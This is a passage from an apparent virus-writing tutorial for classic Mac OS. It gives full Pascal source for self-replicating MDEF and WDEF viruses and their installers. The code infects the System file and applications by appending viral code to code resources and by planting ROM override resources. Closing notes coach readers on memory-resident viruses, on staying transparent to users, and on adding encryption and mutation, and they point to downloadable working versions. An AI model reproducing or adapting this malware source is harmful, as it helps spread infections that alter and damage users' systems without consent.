- type
- PtrPtr = ^Ptr; {To retrieve the virus entry point address}
- MDEFHeader = array[1..6] of integer; {To access the MDEF header}
- MDEFHeaderPtr = ^MDEFHeader;
- MDEFHeaderHandle = ^MDEFHeaderPtr;
- var
- CurrentResFile, theAttrs, BranchOffset, Bytes2Copy: integer;
- theMDEF, theApplMDEF, theSysMDEF: Handle;
- comesFromApplication, SystemInfected, ApplicationInfected: boolean;
- EntryAddress: Ptr;
- begin
- currentResFile := CurResFile; {find out the current res file}
- theMDEF := GetResource('MDEF', 0); {load MDEF 0}
- comesFromApplication := HomeResFile(theMDEF) = CurResFile; {T if MDEF loaded from
- CurResFile}
- if comesFromApplication then {loaded from appl}
- begin {check System}
- UseResFile(0); {switch to System}
- theSysMDEF := Get1Resource('MDEF', 0); {get the system MDEF}
- SystemInfected := (MDEFHeaderHandle(theSysMDEF)^^[5] = integer('BA')) and
- (MDEFHeaderHandle(theSysMDEF)^^[6] = integer('CH')); {see if the system MDEF is an infected
- version}
- if not SystemInfected then {infect System File}
- begin
- {theSysMDEF now contains a handle to the System Heap code, and theMDEF contains a handle to
- the Application MDEF}
- {Now calculate the offset to the virus branch point...}
- BranchOffset := SizeResource(theSysMDEF) - 2;
- {Next calculate the actual size of the virus. From the size of the MDEF, subtract the size of the
- nonviral part}
- Bytes2Copy := SizeResource(theMDEF) - ABS(Ord(StripAddress(theMDEF^)) -
- Ord(StripAddress(EntryAddress)));
- HUnlock(theSysMDEF);
- {Next concatenate the virus to the System MDEF...}
- if PtrAndHand(EntryAddress, theSysMDEF, Bytes2Copy) <> noErr then
- goto 1000;
- {Now fix the Header...}
- HLock(theSysMDEF);
- MDEFHeaderHandle(theSysMDEF)^^[1] := $6100; {BSR}
- MDEFHeaderHandle(theSysMDEF)^^[2] := BranchOffset; {branch point}
- MDEFHeaderHandle(theSysMDEF)^^[3] := $6006; {BRA.S <Anon1>}
- MDEFHeaderHandle(theSysMDEF)^^[4] := integer('JS'); {'JSBACH'}
- MDEFHeaderHandle(theSysMDEF)^^[5] := integer('BA');
- MDEFHeaderHandle(theSysMDEF)^^[6] := integer('CH');
- HUnlock(theSysMDEF);
- {Finally set the resource attributes for the MDEF...}
- theAttrs := GetResAttrs(theSysMDEF);
- SetResAttrs(theSysMDEF, theAttrs + ResSysHeap + ResLocked - ResPurgeable);
- {Now mark permanent, and rewrite System File...}
- ChangedResource(theSysMDEF);
- if ResError <> noErr then
- goto 1000;
- UpdateResFile(0);
- end
- else
- goto 1000; {exit, System is infected}
- end
- else {comes from System}
- {Note that if it both System and Application are infected, }
- {comesFromApplication will be TRUE, and we processed that already. So,}
- {we need to process only one case: (which is the case Application is not infected)}
- {but we check the other for completeness}
- begin
- UseResFile(CurrentResFile); {use opened res file}
- theApplMDEF := Get1Resource('MDEF', 0); {try to load MDEF from file}
- ApplicationInfected := theApplMDEF <> nil; {did load?}
- if not ApplicationInfected then {if not found, infect}
- begin
- UseResFile(0); {switch to system}
- theSysMDEF := Get1Resource('MDEF', 0); {load system MDEF}
- DetachResource(theSysMDEF); {detach from res file}
- UseResFile(CurrentResFile); {switch to file we process}
- AddResource(theSysMDEF, 'MDEF', 0, ''); {add virus}
- if ResError <> noErr then
- goto 1000;
- UpdateResFile(currentResFile);
- end;
- end;
- {Don't forget to restore the original application resource file}
- 1000:
- UseResFile(currentResFile); {*}
- end;
- end.
-
- And finally, here comes the installer.
- {This is the installer of the MDEF virus. It picks the viral segment and concatenates it with the actual
- MDEF. From that point on, the actual MDEF is doomed to carry with it the viral part. It needs three
- files to operate. The viral code, the original MDEF code, and a sample application. See the pathnames
- below}
- program InstallMDEF;
- type
- MDEFHeader = array[1..6] of integer;
- MDEFHeaderPtr = ^MDEFHeader;
- MDEFHeaderHandle = ^MDEFHeaderPtr;
- theFiles = (virus, original, destination);
- var
- refnum: array[theFiles] of integer;
- segment: array[theFiles] of Handle;
- offset: integer;
- begin
- refNum[virus] := OpenResFile('Hard Disk:CharConvert:MDEF:MDEF.code');
- writeln('OpenResFile:', ResError);
- refnum[original] := OpenResFile('Hard Disk:CharConvert:MDEF:MDEF.original.rsrc');
- writeln('OpenResFile:', ResError);
- refnum[destination] := OpenResFile('Hard Disk:CharConvert:MDEF:SimpleText');
- writeln('OpenResFile:', ResError);
- UseResFile(refNum[virus]);
- segment[virus] := Get1Resource('MDEF', 0);
- writeln('Get1Resource:', ResError);
- UseResFile(refNum[original]);
- segment[original] := Get1Resource('MDEF', 0);
- writeln('Get1Resource:', ResError);
- {Fix Header}
- offset := SizeResource(segment[original]) - 2;
- HLock(segment[original]);
- MDEFHeaderHandle(segment[original])^^[1] := $6100; {BSR}
- MDEFHeaderHandle(segment[original])^^[2] := offset; {size of MDEF}
- MDEFHeaderHandle(segment[original])^^[3] := $6006; {BRA.S <Anon1>}
- MDEFHeaderHandle(segment[original])^^[4] := integer('JS'); {'JSBACH'}
- MDEFHeaderHandle(segment[original])^^[5] := integer('BA');
- MDEFHeaderHandle(segment[original])^^[6] := integer('CH');
- HUnlock(segment[original]);
- {Now Concatenate the two Segments}
- HLock(segment[virus]);
- writeln('HandAndHand:', HandAndHand(segment[virus], segment[original]));
- {Now segment[original] contains the concatenation}
- HUnlock(segment[virus]);
- DetachResource(segment[original]);
- writeln('DetachResource:', ResError);
- UseResFile(refnum[destination]);
- AddResource(segment[original], 'MDEF', 0, '');
- writeln('AddResource:', ResError);
- CloseResFile(refNum[original]);
- CloseresFile(refNum[virus]);
- CloseResFile(refNum[destination]);
- end.
-
- FIFTH EXAMPLE: A WDEF VIRUS
-
- unit WDEF;
- interface
- procedure Main;
- implementation
- procedure Main;
- label
- 1000; {exit on error label}
- const
- SysFile = 0; {Reference number of System File}
- type
- OverrideTable = record {Format of the ROM Override resource}
- ROMversion: integer; {version of ROM to override}
- ResNum: integer; {number of resources that follow}
- ResOvr: array[1..100] of record {the resources to override}
- ResType: OSType; {type, for example 'MDEF' (in our case we set it to WDEF)}
- ResID: integer; {and the ID (in our case 0)}
- end;
- end;
- OverrideTablePtr = ^OverrideTable; {Pointer to above structure}
- OverrideTableHandle = ^OverrideTablePtr; {Handle to above structure}
- var
- CurrentResFile, err: integer; {CurrentResFile is the refnum of whoever calls this WDEF}
- theWDEF, {handle to get hold of the WDEF initially to determine if we come from Sys, ROM or
- Application}
- theApplWDEF, {handle that may come from infected application, or nil if uninfected}
- theSysWDEF, {handle that comes from memory or System}
- theROv, {our ROM override resource}
- theSig: Handle; {our signature}
- comesFromThisAppl, {TRUE if WDEF was loaded from application running}
- SysInfected, {TRUE if signature exists in System file}
- ComesFromSys: boolean; {TRUE if WDEF loads from System}
- response: longint; {response from Gestalt selector}
- begin
- theWDEF := GetResource('WDEF', 0); {Get hold of the WDEF loading resource}
- CurrentResFile := CurResFile; {find out who is running currently}
- ComesFromThisAppl := HomeResFile(theWDEF) = CurrentResFile; {TRUE if WDEF loads from
- application that is run}
- if ComesFromThisAppl then {infect System}
- begin
- UseResFile(SysFile); {Use System resource file}
- theSysWDEF := Get1Resource('WDEF', 0); {there is no way theSysWDEF=nil}
- ComesFromSys := HomeResFile(theSysWDEF) = 0; {TRUE if WDEF loaded from System}
- theSig := Get1Resource('flag', 0); {get hold of the signature}
- SysInfected := theSig <> nil; {if resource does not exist, system clean}
- if not SysInfected then {not infected...}
- begin
- if ComesFromSys then {if it comes from System file}
- begin
- RmveResource(theSysWDEF); {Remove old WDEF}
- if ResError <> noErr then
- goto 1000;
- end;
- DetachResource(theWDEF); {Detach from Resource file so it loads in memory...}
- AddResource(theWDEF, 'WDEF', 0, ''); {Add it to the System file}
- if ResError <> noErr then
- goto 1000;
- if Gestalt(gestaltROMversion, response) <> noErr then {find out which version of ROM we are
- running}
- goto 1000;
- theROv := NewHandle(10); {create new ROM override handle}
- if MemError <> noErr then
- goto 1000;
- HLock(theROv);
- with OverrideTableHandle(theROv)^^ do {fill with required fields}
- begin
- ROMVersion := BAND($0000FFFF, response); {ROM version=whatever we got from gestalt}
- ResNum := 1; {we want only WDEF overrides}
- ResOvr[ResNum].ResType := 'WDEF'; {of ID=0}
- ResOvr[ResNum].ResID := 0;
- end;
- HUnlock(theROv);
- AddResource(theROv, 'ROv#', BAND($0000FFFF, response), ''); {Add it to System file}
- if ResError <> noErr then
- goto 1000;
- theSig := NewHandle(10); {Create new signature handle}
- if MemError <> noErr then
- goto 1000;
- HLock(theSig);
- StringHandle(theSig)^^ := 'temp flag'; {fill with some text}
- HUnlock(theSig);
- AddResource(theSig, 'flag', 0, ''); {Add it to system file}
- if ResError <> noErr then
- goto 1000;
- UpdateResFile(SysFile); {Write all new resources}
- end;{if not SysInfected}
- end {comesfromthisappl}
- else {comes from System or ROM, (SysFile) so infect current Application}
- begin
- UseResFile(CurrentResFile); {use file that's running}
- theApplWDEF := Get1Resource('WDEF', 0); {maybe already contains a WDEF?}
- if theApplWDEF = nil then {appl does not contain WDEF. I suppose if Appl contains a WDEF 0,
- it is immune}
- begin {to this virus}
- DetachResource(theWDEF); {Detach...}
- AddResource(theWDEF, 'WDEF', 0, ''); {Add to application}
- if ResError <> noErr then
- goto 1000;
- UpdateResFile(CurrentResFile); {Update the file}
- end;
- end;
- 1000:
- UseResFile(CurrentResFile); {Don't forget to restore the original application resource file}
- end;
- end.
-
- And here comes the installer:
-
- {This is the installer of the WDEF virus. It picks the viral segment and concatenates it with the actual
- WDEF. From that point on, the actual WDEF is doomed to carry with it the viral part. It needs three
- files to operate. The viral code, the original WDEF code, and a sample application. See the pathnames
- below}
- program InstallWDEF;
- const
- VirusFileName = 'HD2:CharConvert:WDEF:WDEF.code'; {Change pathnames here to reflect the
- structure}
- OriginalWDEFFileName = 'HD2:CharConvert:WDEF:WDEF.original.rsrc'; {of your disk}
- DestinationFileName = 'HD2:CharConvert:WDEF:SimpleText';
- type
- WDEFHeader = array[1..6] of integer; {interpretation of the header the Pascal compiler sets up, as
- 6 integers}
- WDEFHeaderPtr = ^WDEFHeader; {Pointer to above structure}
- WDEFHeaderHandle = ^WDEFHeaderPtr; {handle to above structure}
- theFiles = (virus, original, destination);
- var
- refnum: array[theFiles] of integer;
- segment: array[theFiles] of Handle;
- offset: integer;
- begin
- refNum[virus] := OpenResFile(VirusFileName);
- writeln('OpenResFile:', ResError);
- refnum[original] := OpenResFile(OriginalWDEFFileName);
- writeln('OpenResFile:', ResError);
- refnum[destination] := OpenResFile(DestinationFileName);
- writeln('OpenResFile:', ResError);
- UseResFile(refNum[virus]);
- segment[virus] := Get1Resource('WDEF', 0);
- writeln('Get1Resource:', ResError);
- UseResFile(refNum[original]);
- segment[original] := Get1Resource('WDEF', 0);
- writeln('Get1Resource:', ResError);
- {Fix Header}
- offset := SizeResource(segment[original]) - 2;
- HLock(segment[original]);
- WDEFHeaderHandle(segment[original])^^[1] := $6100; {BSR}
- WDEFHeaderHandle(segment[original])^^[2] := offset; {branch to virus}
- WDEFHeaderHandle(segment[original])^^[3] := $6006; {BRA.S <Anon1>}
- WDEFHeaderHandle(segment[original])^^[4] := integer('JS'); {'JSBACH'}
- WDEFHeaderHandle(segment[original])^^[5] := integer('BA');
- WDEFHeaderHandle(segment[original])^^[6] := integer('CH');
- HUnlock(segment[original]);
- {Now Concatenate the two Segments}
- HLock(segment[virus]);
- writeln('HandAndHand:', HandAndHand(segment[virus], segment[original]));
- {Now segment[original] contains the concatenation}
- HUnlock(segment[virus]);
- DetachResource(segment[original]);
- writeln('DetachResource:', ResError);
- UseResFile(refnum[destination]);
- AddResource(segment[original], 'WDEF', 0, '');
- writeln('AddResource:', ResError);
- CloseResFile(refNum[original]);
- CloseresFile(refNum[virus]);
- CloseResFile(refNum[destination]);
- end.
-
- NOTES ON MEMORY RESIDENT VIRUSES
-
- It is important to note the following when writing memory resident viruses that depend on
- resource code segments being loaded in memory. Segments such as MDEFs and WDEFs override the
- system resources if they are placed in non-system files. This means that if you open a resource file
- with a MDEF resource, it will override the MDEF of the System. However, there are several glitches
- which must be noted. While in general the System uses a Standard MDEF=0 for Sys 7, and a
- WDEF=0, that may change in the future. In particular, the standard code resources are sometimes
- placed in ROM. In our MDEF example, the MDEF=0 is actually in ROM and cannot be modified in
- Sys 7. However because Apple usually makes last minute changes, it includes an overriding
- mechanism, different from the standard res file opening mechanism. It is implemented through a
- ROv# resource in the System file (Sometimes in auxiliary System files as well). The ROv# resource is
- simply a list of the resources to override the ROM ones. Open such a resource with ResEdit to see its
- format. In my MDEF virus above, the MDEF=0 is actually in ROM. But Sys 7 already contains an
- Rov# resource for overriding MDEF=0. That's what the virus takes advantage of, and as a result it
- overrides the ROM resource. But in the WDEF virus, there is no WDEF in the ROv# list, therefore we
- have to add it to the list ourselves, so it gets overridden from now on. Apple's bad design of the ROM
- resources, makes it very difficult to write such memory resident viruses, cause the ROM resources and
- the ROv# resources constantly change. Thus, don't be surprised if your virus works in one system and
- fails in another. The WDEF given above will probably fail on Sys 8. Even the MDEF may fail, for
- that, the reason being the new appearance manager on Sys 8. I recommend careful and meticulous
- study of Sys 8, if you want to write anything that's compatible with 8. Things become even worse with
- Rhapsody. I have no idea what's going on there. It may be the case that the new blue box completely
- shields the System from virus attacks. Be very careful. That's why it is always better to write disk
- based viruses that don't depend on operating system versions. Such viruses make the least number of
- assumptions on the Sys, as a result they are usually compatible with most Systems.
- One final note of caution about memory resident code resources: Don't fool around with the
- functionality of the actual code. Try to make your virus as transparent as possible without interfering
- with the actual resource code. This way the original functionality will be preserved. If you consciously
- alter the actual resource code, there's no way to tell what will happen. Be very careful. Finally, to get
- the full working versions of the above viruses and the project files, download them from
- codebreakers.simplenet.com from the Members Files section. Things which have yet to be
- implemented on mac viruses:
- 1) Efficient code encryption
- 2) Code mutation
- Give it a shot, and try to implement some of these features! It's hard but not impossible.
- Have fun!
-